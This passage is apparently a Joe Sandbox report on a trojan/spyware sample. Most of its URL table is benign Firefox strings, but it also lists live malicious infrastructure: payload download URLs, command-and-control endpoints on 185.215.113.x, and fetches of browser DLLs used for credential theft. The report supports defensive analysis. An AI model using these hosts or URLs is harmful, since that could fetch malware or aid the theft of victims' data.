https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggestNot	firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/shims/google-safeframe.html	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/recommendationsimprovesearch.noDefaultSearchTiletelemetry.structuredIngestion.	firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777830670.000001F5D973C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeFm	skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000001A.00000002.2901178326.000001F5D5361000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/MAX(EXISTS(	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001A.00000002.2970783529.000001F5DBA15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.2966905392.000001F5DA90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/rnd.exe05	22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	22a4a09ee3.exe, 00000009.00000003.2871736930.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjs2e1fac17-9068-4561-b72a-c1	firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/default.aspx?rru=compose&to=%ssetSlowScriptDebugHandler/debugService.remote	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllll	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpR%	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpZc	skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.combrowser.tabs.drawInTitlebarhttps://support.mozilla.orgcreateContentPrinci	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	firefox.exe, 0000001A.00000002.2973623994.000001F5DBE0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/Zy#	firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apio0	22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordstrans	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ZT	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz?	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E1883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/searchINHIBIT_PERSISTENT_CACHINGq=	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://vk.com/	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/rnd.exe	22a4a09ee3.exe, 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001A.00000002.2997556881.000001F5E204F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpb%/	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 0000001A.00000002.2999734335.000001F5E2151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpox	8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php~b	skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001A.00000003.2862952465.000001F5E2270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2862536752.000001F5E2279000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561412
Start date and time:	2024-11-23 11:20:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@70/40@25/13
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.21.35, 74.125.205.84, 172.217.19.238, 34.104.35.123, 172.217.19.227, 23.218.210.69, 64.233.165.84, 2.20.41.214
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, learn.microsoft.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, star-azurefd-prod.trafficmanager.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, learn.microsoft.com.edgekey.net, clients.l.google.com, location.services.mozilla.com, wcpstatic.microsoft.com
Execution Graph export aborted for target 22a4a09ee3.exe, PID 6244 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7100 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3328 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:22:01	API Interceptor	377583x Sleep call for process: skotes.exe modified
